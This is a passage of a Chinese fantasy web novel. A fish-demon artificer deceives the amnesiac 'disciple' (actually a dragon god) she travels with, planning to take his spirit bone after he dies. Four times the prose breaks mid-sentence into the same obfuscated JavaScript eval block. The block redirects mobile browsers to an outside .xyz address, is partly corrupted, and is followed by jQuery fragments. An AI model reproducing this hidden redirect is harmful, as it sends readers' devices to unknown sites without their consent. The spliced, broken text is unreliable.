老大夫摇头晃脑道:“生死哪有一定的,他这种情况更是说不准,说不定明天会死,但是如果生命力顽强,再活个几年也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829625|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能……至于医治,在下医术有限,恐怕是无能为力,请两位另请高明。” 送老大夫离开之后,白骊珠十分犯难。 她找大夫的目的,一是想在十五夜面前,装□□护徒弟的师父的样子,好让十五夜更加信任她。二来也想知道十五夜伤势如何,什么时候会死。 她原先称十五夜是她的徒弟,是因为正好用师父的身份支使他为自己所用,可没想到这货竟是病恹恹的,别说为她所用了,她还得分出精神来照顾他。 这就十分不美好了。 她想了想那价值连城的灵骨,心想,就当是前期投资了。 她再次推开房门,做出一副泫然欲泣的样子,垂泪道:“十五夜,你如今这样,想必是那日几个大妖的暗算。若不是为了救我,你又怎会如此。是师父对不起你……呜呜……” 十五夜见不得女人流泪,有些僵硬道:“这不关你的事。”他不知道什么大妖的暗算,只认为“十五夜”如今的情况是躯体无法承受龙神妖力所致。 白骊珠却哭得更伤心了,大有黄河泛滥之势,恨不得扑到他身上:“我知道你这么说是不想师父难过,你放心,师父一定会想办法延请名医,医治你的伤势。就算倾家荡产,也在所不惜。” 十五夜:“不用。”他心中思忖,为了买衣服白骊珠都不得不当掉自己的饰物,就算倾家荡产只怕也对他的伤势无能为力。但是心中还是不由自主生出一丝淡淡的温暖——龙神溯夜无亲无朋,无师无徒无友,多年以来一人独居青崖,从不知被人关心是何等滋味。 白骊珠道:“徒儿,师父现在虽然没钱,请不起最好的大夫。但是眼下有一个最好的机会,只要把握住了,你我师徒二人就能一夜暴富,届时,治好你的伤势绝不是问题。” 十五夜道:“什么机会?” 白骊珠抬起头,道:“你既然失忆了,想必还不知最近妖界发生的大事。龙神溯夜历雷劫不成,死在雪顶天池,爆了一地的水晶。根据妖界不成文的规矩,妖族死亡,若是没有亲族收尸,死后的骸骨便是无主之物,先到先得。龙神大人这些年一直独居青崖,别说亲族了,连个朋友都没有。所以我们一定要赶在其他人之前,到达云顶天池,就可以得到龙神骸骨和无数的水晶,一夜暴富……” 白骊珠对自己的说辞十分满意,她上青崖可是为了得到龙神遗产,医治自己徒弟的伤势。既是如此,十五夜又有什么理由不和他一起上青崖呢? 他接下来一定会对她更加死心塌地,殊不知,她的目标可不仅仅只有龙神遗产,还有他身上的灵骨。 十五夜抬起头,身体一搐,声音也带了些许杀意:“什么?你的目标是……龙神溯夜死后的骸骨?” 5. 第 5 章 无知的凡妖。 竟然!胆敢!觊觎龙神的灵骨!!! 十五夜紧握双拳,几乎想要暴起杀人。就算他身受重伤,白骊珠也绝不可能是他的对手。 他闭上双眼,将翻涌的怒意压下。 一来,他附身在“十五夜”的身上,沾了他的因果,自然不能去杀他的师父。 二来,白骊珠的本体是白鱼精,既是水族,也算得上是他的臣属。随意伤害臣属,不是君上应该做的事。 谅她年幼无知,他不该和她计较。 白骊珠丝毫未察觉十五夜的杀心,见他额头青筋暴出,关心道:“徒儿,你是不是哪里不舒服?” 十五夜摇头:“没有。”他稍稍放松了些,继续扮演一个听话的徒弟,说道:“师父要上青崖,弟子当然和师父一起去。” 反正他也是要到青崖之上的雪顶天池,看看遭遇雷劫之后的身体情况,想办法回到自己的身体中。 白骊珠见他同意,心中大喜,道:“你好好休息一晚,我们明日一早出发。” 十五夜看着屋内唯一的一张床,心中想,这对师徒日子一向过得拮据,就连出门也只订一间房。女师男徒,晚上睡一间房也不合礼节。“十五夜”既然是白骊珠的徒弟,自然没有自己睡床,让师父睡在门外的道理,遂主动道:“师父睡床吧,我在门外打地铺就行。” 白骊珠摇了摇头:“不行,你如今身受重伤,得睡里面。你好好休息便是,我在屋顶凑活一晚就行。” 她走出房门,一个翻身,仰躺在屋顶上,脸上露出满足的微笑。 身为穷人,白骊珠闯荡妖界这三年,风餐露宿惯了,睡屋顶根本不算什么事。如今最重要的事,就是看着自己身边这个长着腿的移动宝箱,以免出什么意外。 俗话说,财不外漏。 如今的白石滩这么多大妖,指不定会有高阶的炼器师,同样也能发现十五夜身上的神级灵骨。哪有大晚上将自家的财宝放屋外的道理,当然是要放在屋子里好好锁起来。 嘶,她怎么记得客栈的房门是无法上锁的。 她风风火火地跑到客栈一楼,问掌柜道:“掌柜的,您这里可有门锁?” 掌柜的诧异道:“客官,我们的房门都是有木闩的。” “木闩可不安全。”白骊珠凑到掌柜耳旁,神秘兮兮地道:“实不相瞒,我房间里可有重要财物,若是在客栈丢了,掌柜的未必赔得起。为了确保万无一失,还得再加一把锁才保险。” 她说得煞有介事,好像屋内真的有什么价值千金的财宝一般,掌柜的也怕她真丢了东西,找自己的麻烦,便翻出了一把铁锁给她。 白骊珠重新回到房间门口,用铁锁扣住门上的两个拉环,再往中间一按,听得“咔嚓”一声,门就从外面被锁上了,她抽出钥匙,揣进兜里,觉得十分满意。 屋内,十五夜听得声响,疑问道:“师父为何要锁门?” 白骊珠随意掰扯道:“徒儿啊,你是失忆了不知道如今江湖险恶。如今妖界很多女妖修炼邪术,最喜欢的就是抓长得貌美的男妖采阳补阴。你现在这副模样,你不怕贼偷,师父还怕贼惦记呢……还是锁门睡觉最安全,明天一早师父会放你出来……” 她拍了拍屁股,回到房顶上重新躺下。 屋内,十五夜神色古怪。 “不怕贼偷……还怕贼惦记?” 他拿起桌上的铜镜,看着镜中的美少年,眉头一皱。 龙神溯夜本身的相貌冷峻凌厉又不失隽美,眼前的“十五夜”面部轮廓与他本尊有几分相似,只是线条要柔和许多,好看是好看的,不过也到不了“被贼惦记”的程度吧。 这多半是做师父的滤镜太厚,护犊子之心又太重,夸大其辞了。他没有多想,很快进入了梦乡。 第二天早上,两人离开客栈准备上山。 白骊珠拿出她从乌鸦一族高价买来的地图,找到了上山的入口。青崖本是龙神大人最后的隐居地,而这位龙神大人原是个死宅,本来一条道路都没有。地图上标注的山路只是乌鸦一族根据青崖的山川地形绘制最容易上山的路线,一路上都是峡谷和悬崖,并不好走。 等白骊珠和十五夜站在山道的最下方时,简直惊呆了,狭窄的山道上挤满了和他们一样前来寻宝的大妖们,人山人海,寸步难行。 十五夜直皱眉,虽然昨天他对青崖的现状已经有了心理准备,但亲眼看到这么多人争先恐后地前来抢夺他的尸骨,自然高兴不起来。 本来,青崖有他设好的结界,就算他历雷劫而死,青崖的结界也不会莫名其妙地消失。更何况,消息在这么短的时间内传开,吸引如此多的大妖上山,这些大妖们又人手一份青崖的地图,显然是有心人在其中推波助澜。 只是不知此人是谁,又有什么目的。 白骊珠显然无此忧虑,她唯一的忧虑是人太多了。 她原本以为,凭借地图的优势,她能比其他人更早一步到达雪顶天池,龙神遗骨自然是她的囊中之物。眼下看着山道上的众多大妖,突然认识到自己得到龙神遗骨的希望渺茫了许多。 当然,遇到一点点困难就放弃绝不是白骊珠的行事风格。 她拉着十五夜换了一个方向,“我们走这边。” 她所走的方向并不是山路,而是一条沿山峦湍流直下的小溪,溪流九曲十八湾,更有无数的瀑布险滩。因为险峻难行,连一个行人都没有。 十五夜奇道:“这怎么能走。” 白骊珠自信满满,“别人不能,但是我们白鱼一族从前居住在长月海,海中地势复杂,有高有低,最擅长的就是溯流而上。” 她跃入溪流之中,化作一尾大鱼,大鱼通体素银,唯有鳞片的边缘带了一圈金色,在水中灿灿发亮。 她宽大的鱼尾在水潭中溅起粼粼波纹,道:“快下来吧。” 她说完,才发现有些不对。 须知,妖界鱼族的种类众多。长月海白鱼一族因为栖息地的关系,擅长溯流而上。但并不是每一种鱼族都有这种天赋,她也不知道十五夜是哪一种鱼族。 “噗通”一声,十五夜同样跃入水中。这时,他惊奇的发现自己的鱼鳞是同白骊珠一模一样的金边银鳞,只是他的鱼身比白骊珠要稍小一些。 惊疑之余,他微微松了一口气。 身为水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829626|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族大君,他知道自三百年前的那场大灾难之后,长月海白鱼一族几乎全部覆灭,存世的族人已是少之又少。 “十五夜”既然与白骊珠是同族,两人是师徒关系再正常不过,之前的猜疑应该是自己想多了。 他却不知,白骊珠心中的惊疑并不比他少。 三百多年前,白鱼一族居住的长月海化为桑田,白鱼一族为了阻止剧变,全族覆灭,只剩下白骊珠和姑姑白舒眉两人。 十年前,姑姑病逝,理论上白鱼一族只剩下她这么一株独苗苗,眼前这个同族是从哪里冒出来的? …… 瀑布之水飞奔而下,白骊珠化作的白色大鱼一跃而上,在空中划过优美的弧线,坠入高处的溪潭之中。很快,白骊珠就到了瀑布的最下方,回头一看,十五夜还在第一个水潭之中。 他尝试着跳了几次,结果根本飞不起来。 这也怪不了龙神大人。 他从前的本体是身躯庞大的水晶龙。巨龙的身形在天上飞或者在海里游当然没问题,而像鲤鱼越龙门的这般跳跃方式确实不擅长,以至于看起来就像泥鳅打滚一样丑陋。 白骊珠不得不折返回来,耐心给他示范了几次。十五夜学着她的样子掌控身体,好不容易才磕磕绊绊地过了一个小水潭。好在熟能生巧,他也渐渐能轻松跃起。等到这一天的黄昏,两人终于上到了一处山腰,此处水流已经截断,无法再上跃,两人这才重新化作人形。 白骊珠从山腰往下看,果然大部分的人都已经被他们甩在身后。 她翻开了地图,指着某处道:“徒儿,翻过前面那座山,就到了青云峡,我们今晚就在那里休息,明天再继续上路。” 十五夜点头,两人又走了一段山路,十五夜忽然道:“师父,你看前方那是什么?” 白骊珠顺着他指的方向看去,只见幽深的林木间,躺着一具大妖的尸体。 两人走近一看,原来是一只雪狼妖,他的尸体完整,看不出任何受伤的迹象,只是少了一颗尖齿,灵力从齿根处散发出来。 身为炼器师,白骊珠对这样的情形十分熟悉。那灵力外溢的地方曾经生有灵骨,已经被人取走了。 看起来这只雪狼妖并不是死后被人取走灵骨,而是在这里被人杀死。 就在这时,身后的草叶微动,一个阴狠的声音从后面传来:“今天运气真不错,又有两只肥羊送上门来。” 另一个声音说道:“啧啧,还是两只白鱼妖。啧,根据《炼器宝典》,白鱼一族身怀七彩虹鳞的机会比其他鱼族多上几倍。可惜自从三百年前长月海消失之后,白鱼妖已经很少见了,不知道今次我们俩有没有运气能够得到传说中的七彩虹鳞——” 白骊珠脸色一变。 显然,就是这两人杀了方才的雪狼妖,取走他的犬齿。现在两人又将目标放在了她和十五夜身上。 她想也不想,推了十五夜一把:“你快走,师父给你断后——” 开什么玩笑,十五夜身上不仅有七彩虹鳞,还有着照骨镜都无法识别出来的神级灵骨。这可是她抢先发现的猎物,怎么能让给其他人。 她、绝、不、允、许。 6. 第 6 章 十五夜猝不及防,被白骊珠推出几丈开外。 一回头,只见白骊珠趴在地上,拼命抓住两只虎妖的脚踝,一边对着他高喊:“徒儿,你还站着干什么,你快走啊……” 十五夜站在原地,眉头紧皱。 在白骊珠推开他的那一刻,他还以为白骊珠有独自一人对抗两只虎妖的实力。谁知道她只是想要拖住二妖,让他先走。 她难道不知他的实力远胜于她吗? 等等。 她可能还真不知道。 毕竟“十五夜”身为白骊珠的徒弟,实力不如白骊珠才合理。至于“十五夜”后来实力增加,多半是因为他不小心附身的缘故。而自己连溯流而上的跳跃都是新学的,在她眼中应该是没什么本事。 她明明打不过,还要保护比她更弱小的徒弟,让徒弟先走。 十五夜心中生出一种奇异的感觉,看来白骊珠真的很在乎自己的徒弟。不仅晚上睡觉怕丢了,遇到敌人还主动护在前面,生怕弟子受伤。 若是让她知道自己的徒弟原来的灵魂不知道去了哪儿,反而被其他人鸠占鹊巢,想必会十分难过的吧。 白骊珠见十五夜愣在原地不动,更加歇斯底里地大吼:“阿夜,你快走啊——” 天啦,你不知道自己身怀神级灵骨,都没有一点自我保护的意识吗? 你要是出了什么事,不,你的灵骨要是出了事,你知道我会蒙受多大的损失吗? 那两只劫道的虎妖也不傻,见白骊珠拼命让自己的徒弟先走,很快反应了过来,说道:“她的徒弟身上必有灵骨,我们上——” 他们用力想要甩开白骊珠,去抓十五夜,可是白骊珠不知道哪里来的力气,一人抓住两只虎妖的脚踝,纹丝不动。 虎妖大喝:“放手——” 白骊珠:“我不放。” 大妖大怒,用剩下的一只脚狠狠踩向白骊珠的手,怒道:“你不放,我们就先杀了你,再杀了你的徒弟。” 白骊珠丝毫不顾手上的疼痛,只看向十五夜,大声呼喊:“阿夜,快走——” 然而十五夜并未如她期盼地离开,而是从一旁的老树扯下了一根藤蔓,挥舞着朝二妖冲了过来。 虎妖们看着这蹩脚的“兵器”哈哈大笑:“小子,拿着这破玩意还想救你师父,还是回去玩泥巴吧。” 很快他们就笑不出来了,十五夜速度极快,眨眼之间那藤蔓已经绞住了虎妖们的脖子,越缠越紧。 “啊……呃……”很快二妖就两眼翻白,从喉咙里发出断断续续的求饶之声,“救……命,我们……我们错了,饶了我们吧……” 十五夜手上力道不减反增,又过了一会,二妖的脑袋耷拉了下来,软绵绵地瘫倒在地上,已然没了气息。 “师父,你怎么样?”十五夜正要去拉白骊珠站起来,却突然脑子一沉,只感到天旋地转,紧接着便人事不知了。 白骊珠从地上爬起时,看了看一旁虎妖的尸体,一时有些茫然。 不是,她这捡来的徒弟这么厉害的吗?竟然一个人干掉两只强大的虎妖! 嗨,早知道她何必独自逞强了呢? 她摸了摸被踩得红肿的手掌,嘶了一声。 谁知回头一看,十五夜竟然也软绵绵地倒了下来。 “喂,徒儿,你怎么了——” 她将十五夜扶住,只觉得男子的身躯又硬又沉,一探额头还有些发烫。他的身体本就虚弱,偏在这个当口发起病来。 “喂,十五夜,十五夜……” 她叫了几遍,眼前人却奄奄一息,没有丝毫的回应。 白骊珠只好一边扶着十五夜一边四下打量,幸好不远处有一个山洞,她背起十五夜深一脚浅一脚地走了进去,将他安置在一块大石头上。这时十五夜烧得越发厉害了,浑身发烫。 白骊珠心中焦急,她的专长在炼制灵器,对于如何料理病人是一窍不通,偏偏身处荒郊野外,想要请大夫也不方便。 她灵机一动,想到刚才被十五夜杀死的两只虎妖。那两只虎妖实力不错,行囊里说不定有伤药,若是能有合用的药物,救救急也是好的。 她很快回到两只虎妖的尸体处,将他们随身携带的东西翻了个遍,药物没找到,倒是发现了一颗犬齿。 犬齿灵力充沛,身为炼器师的她一眼便看出这正是虎妖们从雪狼妖身上刚刚取下的灵骨。 等等,灵骨! 白骊珠如梦初醒。 她谎称十五夜是自己的徒弟是为了什么? 她辛辛苦苦骗十五夜和她一起上青崖是为了什么? 不就是为了此时此刻吗? 不就是为了等到十五夜一命呜呼,好得到他身上的神级灵骨吗? 她现在应该回去等十五夜寿终正寝才是,浪费时间找什么伤药,这不是舍本逐末吗? 对,她现在应该回去守着他。如今青崖这么多人,那个山洞位置也并不隐蔽,万一他死的时候她没在旁边,灵骨被其他人捷足先登了该怎么办? 她一路小跑回到山洞,看到十五夜仍然好生生躺在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829627|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山洞里,微微松了一口气。 还好,她的巨额财宝还在。 病中的十五夜面色潮红,不省人事,看起来奄奄一息。真没想到,一个时辰之前他还好好的,不过是放倒了两只妖,就一病不起了,这具身体真是太废物了。 白骊珠忽然想起一个问题,根据《炼器宝典》所言,灵骨是妖能强大的身体中某些部位的骨骼晶化所产生。 大部分的妖族出生时都没有灵骨,只有少部分血脉强大、天赋异禀的幸运儿出生就会带有高阶灵骨,这些妖族的资质会比普通的妖族更好,妖能也十分强大。 还有一部分大妖虽然资质一般,通过后天勤奋修炼,也可以修出灵骨。随着大妖的妖能越强,身怀神级灵骨的可能性就越大。 那么,问题来了。 她这个捡来的便宜徒弟看起来资质相当一般,只是动了一下手就人事不省,不管怎么看,他都不像是身怀神级灵骨的样子。 难道是照骨镜出错了? 想起那天照骨镜只是发出了金光,其实她并没有看到便宜徒弟胸前的神级灵骨是何模样……她顿时觉得这事实在不保险。 既然不保险,当然应该好好确认一番。 说干就干! 她再次拿出照骨镜,来到十五夜身前,扒开他的胸口,照了过去。 …… 十五夜发着烧,意识时而清醒时而模糊。 他听到了白骊珠一声声“徒儿”的呼唤声,那声音是如此地焦急。他很想说他没事,可惜这具身体委实太不中用,他想动一下嘴唇都没有办法。 这一天折腾下来,他大概明白了自己目前的情况。 这位名叫“十五夜”的白鱼妖身体底子实在太差,他的灵魂附身于此,仅仅发挥出龙神本尊十分之一的功力,再加上他的灵魂与这副身体并没有完全融合,所以当他使用妖能杀死那两只虎妖,身体无法承受,才陷入昏迷的。 说到底,这并不是什么大事,只需要休息调养一番便能恢复。 就在他半梦半醒之间,他感到有一只手轻轻拨开了胸前的衣服,摸上了他心脏的位置。女子的指腹柔软细嫩,如同羽毛一般扫过他胸前的肌肤。 隐隐约约间,他听到白骊珠好像在和什么人说话,至于在说些什么,他却一个字也无法听清。 又过了一会,那手上的力道加重,就着他的肌肉揉搓抹捻,带来酥麻的如过电般的触感。 十五夜在昏昏沉沉间,心跳骤然加快,一个激灵,竟硬生生从昏迷中惊醒了过来。 7. 第 7 章 白骊珠掀开十五夜的衣服,再次拿出照骨镜,照向十五夜的胸口处。 奇了,这次的金光竟然完全消失了,她又照了照上次发现七彩虹鳞的下腰处,竟然也是空空如也。 怎么回事? 难道有人趁自己不在偷偷取走了灵骨?可这也不太像,明明十五夜的身体看起来并没有受伤啊。 她想起非不非说过,要是遇到不懂的事,激活照骨镜上的机关,就可以与非不非远程联系。 她毫不犹豫,当即激活了机关,喊道:“非老,非老,你在吗?” 非不非的声音随即从照骨镜后传来:“骊珠,你那边怎么样?你上青崖了吗?得到龙神遗骨了吗?” 白骊珠摇头道:“那有这么快,只是我遇到了另外的事,需要求助非老……” 她将自己在白石滩捡到十五夜并和对方一起上青崖的经历长话短说了一遍,又道:“我当日在海滩上用照骨镜,发现他的身上确实有灵骨,现在灵骨却消失了,这是怎么回事?” “灵骨消失,这不可能啊?”非不非道:“是不是你没有找对位置?这照骨镜不大,有的时候要贴着肌肤才能照出来,你再试试?” “哦。” 白骊珠将照骨镜贴得更近了些,一边嘟囔道:“非老,还是没有啊?你这照骨镜是不是出了什么毛病……” “不会啊,让我想想。”过了一会,非不非恍然大悟的声音从照骨镜那端传来:“骊珠啊,你这徒弟是不是还活着啊?” 白骊珠翻白眼:“当然还活着。” “这就难怪了。骊珠啊,咱们炼器师一行是不允许杀妖取骨的,这照骨镜自然也是对大妖尸体使用才准确。如果拿来测试还活着的大妖,是可能出现时灵时不灵的情况……” “啊?” “你要知道,灵骨是妖能晶化之后产生的骨骼。大妖如果生病或者受伤,往往需要消耗妖能来修复身体,这个时候妖能不太稳定,有时候就会检测不到……如果大妖病重,将灵骨中储存的妖能消耗殆尽……灵骨……还有可能……退化……骊珠你要……要……要……” 白骊珠着急道:“要什么?” 声音戛然而止。 “喂喂……”白骊珠摇了摇照骨镜,发现非不非留下的灵力竟然已经消耗完了。 真是太坑了! 说好了储存的灵力能用三次,竟然一次通话还没完就结束了,连教她接下来该怎么做都说得不清不楚。 白骊珠心中腹诽。 不过,非不非说的大妖的灵骨会因为受伤和生病消耗妖能而退化,这还真是个大问题。 要是她这捡来的便宜徒弟生了一场病,神级灵骨被折腾没了,她不是亏大发了吗? 不行,她得好好检查一下。 既然灵骨是妖能晶化之后产生,她只需要去感应他身体中妖能汇聚之地,应该就能找到体内的灵骨了。 此刻,在她眼中心中,全然只有灵骨的存在,竟忘了自己身下是一个活生生的妖。 她把手覆上男人的胸口,感觉到一股磅礴的妖能,正位于男人心脏的位置。她伸出两指,轻拢慢捻抹复挑,果然感觉到晶化骨骼的存在。 白骊珠大喜,那日照骨镜探得的灵骨竟是他的心脏。 只需要等他死了,这颗灵力充沛的心脏就归她所有了。 她一边美滋滋地想着,一边揉搓着男子胸口,就好像把玩着什么稀世奇珍。 与此同时,位于她身下的十五夜苦不堪言。 就在白骊珠伸手摸他胸口之时,他便已苏醒。 龙神大人何等尊贵,这辈子从来没有什么人能近他的身,更不用说以如此轻慢的姿态亵玩他的身体。 他当即气血上涌,想要一掌将这不知天高地厚的小妖给拍死。 不料,就在他想要动手之时,竟然发现自己的身体浑然不听使唤。他分明清醒着,却连眼皮也无法睁开,更无法动一个小指头,只能僵硬地躺在原地任她揉搓狎弄着每一寸的肌肤。 更要命的,他身体的某些部位竟然莫名其妙地起了反应。 龙神大人一辈子从未落入到如此羞愤的境地。 他发誓,等他能操纵这具身体,他一定杀了她。 …… 时间一分一秒地过去,白骊珠终于起身——也许根本没有多久,但是这段时间对十五夜而言是如此漫长。 在白骊珠的手离开他身体的那一刻,十五夜终于感到身体隐隐受到的压制解除,四肢同时恢复了知觉。 他坐起身,右手成掌,汇集全身妖能,一掌击向白骊珠的后心。 可奇怪的事情发生了,那股妖能在即将触碰到白骊珠身体之时,竟无法再寸进分毫,反而折返回他的体内,十五夜受此反噬,硬生生呕出一口鲜血。 白骊珠听到身后动静,一转身,只见十五夜靠在床头,唇角沾血,一副病病歪歪、琼瑶欲碎的姿态。 她心中微喜,他他他竟然吐血了。 吐血是不是说明他离死亡更近了一步? 但两人既然以师徒相称,她自然不好表现出幸灾乐祸的样子,立刻换上一副关切的表情:“徒儿,你是什么时候醒的?你怎么了,怎么突然吐血了……” 十五夜没有理她。心道,为什么会吐血,难道你不明白吗? 白骊珠只以为他病中不舒服,不愿说话,也丝毫不介意,她取出一张干净的帕子,就要去擦他唇角的血渍。 十五夜见她又要近身,登时忆起刚才被她狎弄的事,浑身都生出鸡皮疙瘩。他一伸手,就要将她推开。 谁知,诡异的事再次发生了。他的手将要触到她的手时,突然再次不听他的号令,僵在原地。而她的手堂而皇之地近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829628|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,将他嘴角的血迹拭去。 就算十五夜反应再迟钝,也知道他和白骊珠之间应该是出了一点问题。 不,问题不是出在他身上,而是“十五夜”和他的师父身上。 “十五夜”无法反抗白骊珠对他做的任何事。就像两人之间有一道无形的契约,只要“十五夜”有任何想要攻击白骊珠的行为,就会受到反噬。 在龙神大人的过往记忆中,有两种契约可以达到这种效果。 第一种是奴契。大妖如果自愿臣服于某人,成为奴隶,两人定下魂契,奴隶便永远无法伤害自己的主人。 第二种是爱契。如果大妖真心喜欢上某人,可以立下心誓,从此不可以伤害自己的心上人,误伤也不可以。 “十五夜”和白骊珠以师徒相称,绝非主人与奴隶的关系。 难道,白骊珠会是“十五夜”的心上人? “十五夜”竟然单恋自己的师父? 这个认知让他吓了一跳,仔细一想又觉得并非没有可能。 昨晚在客栈里时,白骊珠在他睡觉时锁上了房门。 当时白骊珠是怎么说的呢? “徒儿啊,你是失忆了不知道如今江湖险恶。如今妖界很多女妖修炼邪术,最喜欢的就是抓长得貌美的男妖采阳补阴。你现在这副模样,你不怕贼偷,师父还怕贼惦记呢……还是锁门睡觉最安全,明天一早师父会放你出来……” 不怕贼偷,还怕贼惦记。 不怕贼偷,还怕贼惦记…… 为什么白骊珠会害怕自己的徒弟被其他人惦记? 身为师父,难道不应该希望徒弟早日脱单吗? 除非—— 他的脑子里无端生出了一些诡异的猜想。 白骊珠和“十五夜”,真的是正常的师徒关系吗? 那日在海边苏醒之时,“十五夜”的身上身无寸缕,而白骊珠就坐在他的身上。 两人在客栈休息,白骊珠竟然要将徒弟睡得房间锁起来,生怕自己的弟子遭人觊觎。 而不久之前,白骊珠趁“十五夜”伤重昏迷不醒,竟然偷偷狎弄弟子的身体。 是了,三百年前,长月海干涸,白鱼一族覆灭,就算还有族人存活,想必也是一根手指头也能数得过来。 白骊珠和“十五夜”都是白鱼一族的幸存者,名为师徒,恰好又是一男一女,结为妖侣也很正常。毕竟阴阳交合、繁衍后代乃是天经地义之事。 白骊珠那些反常行为,也许只是她与自己的徒弟日常相处的方式。 只是,自己莫名占了“十五夜”的身体,又“失去记忆”,白骊珠一定是不得已,才从光明正大变成了偷偷摸摸。 想到这里,十五夜对白骊珠的敌意消弭了一些。 毕竟,若不是自己莫名占据了不属于自己的躯壳,这一切本来不会发生。 8. 第 8 章 白骊珠将十五夜唇角的血渍擦拭干净,看他的脸上有了些许血色,比之前好了不少。 十五夜睁开眼睛道:“师父,我想喝点水。”他烧了一晚上,口渴得厉害。 白骊珠温柔应道:“好,我去给你取水。” 她到了小溪边,取了满满一囊水,递给十五夜。十五夜将水囊接过,一口一口慢慢吮饮。 对于水族而言,水是蕴含灵力之物,青崖宝地的水更是灵力充沛。在没有治病灵药的情况下,只需要一点水就能减少身体的不适。 溯夜身为水族之君,擅长水系灵术,也擅长将水中的灵力化为己用。一囊水尽,十五夜恢复了不少力气,觉得肚子也有些饥饿。这水妖的躯壳果然修为低下,竟然还没有辟谷,他又问道:“有没有吃的?” 白骊珠取出干粮,递了过去,十五夜便大口吞咽起来。 白骊珠心想,听说人死之前会回光反照,这时候原本不吃不喝的病人都会变得能吃能喝起来。 十五夜先前病得快死了,没有求医问药就莫名好了起来。他这般要吃要喝的,想必是回光返照、离死不远了。 她心中道,徒儿啊,虽然你是为我受伤而死的,但是我也想办法帮你找伤药了,如今没有找到,也算不上我薄情无义。你死之后,我一定会好好善用你的灵骨,用它炼制出天下少有的神器,就算是你对妖界的贡献了。 十五夜见她目光灼灼地看着自己,深以为自己先前的推测有理——白骊珠和“十五夜”果然不是普通的师徒关系。 他可以接受“十五夜”是白骊珠的徒弟,但是妖侣什么的……万万不行。 他吃完了干粮,顺势躺下:“师父,我要再睡会。” 白骊珠靠近了些:“好,你休息,我守着你。” 十五夜忙道:“师父,你离得太近,我怕将病气过给你。” 白骊珠心想,这捡来的徒儿还挺贴心,“那我去山洞外面。” 她走到山洞门口,布置了一层结界,守在洞外。她忙忙碌碌了一整晚,极是疲惫,很快进入了梦乡。 山洞之内,已经睡下的十五夜看着她,几乎微不可察地眯了眯眼。 大概是前一晚上过于辛苦的缘故,第二天白骊珠起得有些晚。 她睁开眼睛,第一反应就是看向山洞之内——昨天十五夜回光反照,现在多半已经一命呜呼了,她终于可以得到梦寐以求的灵骨了。 她走到山洞里,却见她设下的结界已经消失了,山洞空空如也,十五夜不见了。 啥? 十五夜不见了? 到了临门一脚,她辛辛苦苦种的桃子被人摘走了? 她急匆匆奔出山洞,却与一个人撞了一个满怀,仔细一看,不是十五夜又是谁? 他刚刚不知从何处摘了一捧野果回来,只是被白骊珠这么一撞,野果滚落了一地。 白骊珠再次见到十五夜,一颗心终于回到胸腔里,拍了拍胸脯:“吓死我了,十五夜你刚才去哪儿了……” 十五夜微不可察地退后一步,与白骊珠保持两步的距离,低头道:“师父出门带的干粮不多,徒儿心想要上青崖,路程还长,干粮得省着点用。所以我早起出门,采了些果腹的野果,奉与师父享用。” 他将地上的野果拾起,用袖子擦了擦,递了过去。 白骊珠尝了一个果子,香甜可口,沁人心脾,更富含灵力,忍不住多吃了几个,奇道:“这果子你是从何处寻来,怎么我昨日不曾看见?” 十五夜心道,这你当然不知道。这龙香果本来种在悬崖绝壁之间,三百年才结了这么几个果实,寻常人哪能见着。 若非本神占了你那妖侣的身体,一时过意不去,又岂会特意费这工夫。今日早起,他可是拖着这病恹恹的身体,好不容易才摘得的,口中却道:“青崖山高林密,也许师父一时没有注意到。” 白骊珠将龙香果消灭大半,这才陡然想起灵骨的事。 不是,他昨夜明明都回光返照了,怎么今日早起又活蹦乱跳。她装出关切的神情,又挤出两滴眼泪来:“徒儿,你的伤势如何了?你昨日为了救师父伤在那两只大妖手里,又吐了血,师父差点以为你活不成了。” 她上前一步,就要去探十五夜的额头。 